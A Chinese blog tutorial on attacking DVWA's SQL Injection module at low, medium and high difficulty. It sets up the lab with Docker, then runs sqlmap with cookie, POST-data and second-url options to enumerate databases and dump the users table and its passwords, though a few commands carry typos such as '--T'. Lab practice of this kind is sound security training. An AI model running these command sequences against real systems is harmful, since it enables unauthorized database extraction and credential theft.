DVWA靶场-SQL Injection(难度低、中、高)-sqlmap自动化漏洞扫描

avatar
作者
筋斗云
阅读量:1

DVWA靶场-SQL Injection(难度低、中、高)-sqlmap自动化漏洞扫描

一、环境搭建

1.搭建dvwa靶场环境

此处使用docker容器搭建靶场。使用docker平台即可实现靶场的快速搭建,比较方便。使用docker搜索dvwa镜像:docker search dvwa。
docker搜索dvwa
此处选择第一个镜像文件下载:docker pull citizenstig/dvwa。
下载镜像文件
下载完毕后,可以使用docker images来查看所有的镜像,从中可以找到dvwa。
镜像下载成功
从图中可以看出已经将镜像文件下载到本地,使用以自定义的密码启动mysql服务,并以后台方式运行的方式:docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS=“mypass” docker.io/citizenstig/dvwa。
运行容器
截图中可以看到,容器中的80端口映射到本机80端口冲突,是因为本机80端口已被占用,所以端口映射改成”-p 8080:80”,这样就不会有端口冲突。 此处可以选择没有被占用的端口进行映射。
展示正在运行的容器列表及主要信息:docker ps(加上-a参数展示全部容器列表)。
展示容器
浏览器输入本机IP:8080,访问得到dvwa页面,如果访问不成功,重启docker:systemctl restart docker,再运行dvwa:docker start dvwa。
注意:此处setup check处除reCAPTCHA key选项为红色外,其余选项都要为绿色才算成功搭建。第一次登录需要创建数据库,点击“Create/Reset Database”按钮。
靶场搭建成功

2.设置靶场

接下来我们要进入靶场。登录dvwa,默认的用户名密码是:admin/password。
登录界面
登录进来之后页面如下图所示:
首页
我们要先去DVWA Security选项后中调节难度,可调节为low、medium、high以及impossible。先将难度改为low,点击Submit按钮。后续会逐步调高难度。
调节难度

3.寻找目标注入点

调节难度后点击SQL Injection选项,可以看到有个User ID输入框,尝试输入1点击提交。
提交结果
可以看到,提交后,页面给出回显,提交请求的URL变成了 IP:8080/vulnerabilities/sqli/?id=1&Submit=Submit#,这就是我们的目标注入点。

二、安装sqlmap

安装具体步骤可查看https://blog.csdn.net/Z_David_Z/article/details/113278533
此处使用kali自带的sqlmap。打开shell,输入sqlmap -h即可查看sqlmap指令。
sqlmap
图中标示的-u参数是使用中经常使用的一个参数,其后接目标url,即可进行自动注入。

三、使用sqlmap自动化扫描

(一)low级别难度

1.使用 -u参数进行自动注入

sqlmap -u “目标url”

直接-u

在使用-u参数的时候遇到了登录验证的问题,系统重定向到了登录页面,所以此时我们要在使用sqlmap的时候加上cookie参数来授权给sqlmap。

2.添加cookie参数

在浏览器登录访问之后,按F12进入开发者工具,选择Network选项,此时该选项下无数据。
F12开发者工具
刷新页面后,出现文件后单击第一个文件,出现Request Headers后选择Cookie值
查找cookie
右键该值,选择Copy,再粘贴到刚刚的sqlmap命令添加的cookie参数中。

sqlmap -u “目标url” --cookie “站点cookie”

sqlmap添加cookie

3.自动注入

注意:在注入时,会遇到sqlmap频繁询问现象,可以使用--batch参数,这样每次询问自动选择y选项。
sqlmap会对idSubmit两个参数进行自动注入,最终得出参数id可注入,并注入出后台的数据库类型、操作系统和中间件版本。
注入结果

既然存在注入点,那就开始获取数据库名。

sqlmap -u “目标url” --cookie “站点cookie” --dbs

爆数据库名

从图中可以看出有4个数据库,其中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。我们可以看下dvwa数据库中有什么表。

sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --tables

爆表名

从图中可以看出dvwa数据库中有两张表,我们可以选择其中的users表来看下表的列名。

sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --columns

爆列名
users表中共有8列,如果想看表中具体的数据,可以把--columns改为--dump ,这样就会获取这张表中的数据。

sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --dump

爆数据
这样我们就获得了dvwa数据库users表里所有的数据,包括账户名和加密存储的账户密码。我们还可以查询指定列的数据。

sqlmap -u “目标url” --cookie “站点cookie” -D “数据库名” --T “表名” --C “列名1”,“列名2” --dump

我们选择查询账户名和密码,由于mysql数据库对密码字段做了哈希,命令执行过程中会询问你是否进行解析,这里选了y。
爆密码
到这里就完成了dvwa靶场中low级别难度的sqlmap自动注入,成功拿到了dvwa数据库的用户名和密码。

(二)medium级别难度

1.调整为medium级别难度

我们先把靶场难度提高到medium级别后,看到原本的输入框变成了下拉选择框,尝试选择1进行提交后有回显,但url无变化,请求方式也由GET变成了POST。
难度升级

2.查找注入点

此时,如果使用之前的命令sqlmap会告诉我们缺少请求字段数据,对于POST请求,发送的数据放在了请求体里,而不是在URL里。
post请求参数

那我们使用--data参数,将post请求中发送的参数按照参数1=值1&参数2=值2的格式放进来。

sqlmap -u “目标url” --data “发送的参数” --cookie “站点cookie”

data参数

最终,注入点查找成功。
注入成功

3.自动注入

其余步骤就如同low级别时一致,只是多了--data参数。

sqlmap -u “目标url” --data “发送的参数” --cookie “站点cookie” --dbs

sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” --tables

sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” -T “表名” --columns

sqlmap -u “目标url“ --data “发送的参数” --cookie “站点cookie” -D “数据库名” -T “表名” -C “列名1”,“列名2” --dump

(三)high级别难度

1.调整为high级别难度

我们先把靶场难度提高到high级别后,看到的是一个点击链接,点击后弹出以一个带输入框的新页面,在新页面输入1后点击提交,原页面回显内。原页面数据包请求方式为get,弹出的输入页面请求方式为post。
high级别难度

2.查找注入点

输入页面和原页面是不同的url,此时需要用到联合查询命令second-url

sqlmap -u “输入页面url” --data “发送的参数” --second-url “原页面url” --cookie “站点cookie”

second-url
最终,注入点查找成功。

注入点查找成功

3.自动注入

其余步骤就如同medium级别时一致,只是多了--second-url参数。

sqlmap -u “输入页面url” --data “发送的参数” --second-url “原页面url”–cookie “站点cookie” --dbs

sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” --tables

sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” -T “表名” --columns

sqlmap -u “输入页面url“ --data “发送的参数” --second-url “原页面url” --cookie “站点cookie” -D “数据库名” -T “表名” -C “列名1”,“列名2” --dump

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!